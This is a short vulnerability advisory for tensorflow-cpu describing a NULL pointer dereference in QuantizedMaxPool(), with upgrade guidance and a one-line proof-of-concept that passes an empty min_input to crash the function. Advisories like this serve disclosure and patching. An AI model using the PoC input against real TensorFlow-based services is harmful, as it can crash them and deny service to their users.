How to fix?

Upgrade tensorflow-cpu to version 2.5.3, 2.6.3, 2.7.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference via the implementation of the QuantizedMaxPool() function, which has an undefined behavior where user-controlled inputs can trigger a reference binding to a null pointer.

###PoC

import tensorflow as tf

tf.raw_ops.QuantizedMaxPool( input = tf.constant([[[[4]]]], dtype=tf.quint8), min_input = [], max_input = [1], ksize = [1, 1, 1, 1], strides = [1, 1, 1, 1], padding = "SAME", name=None )
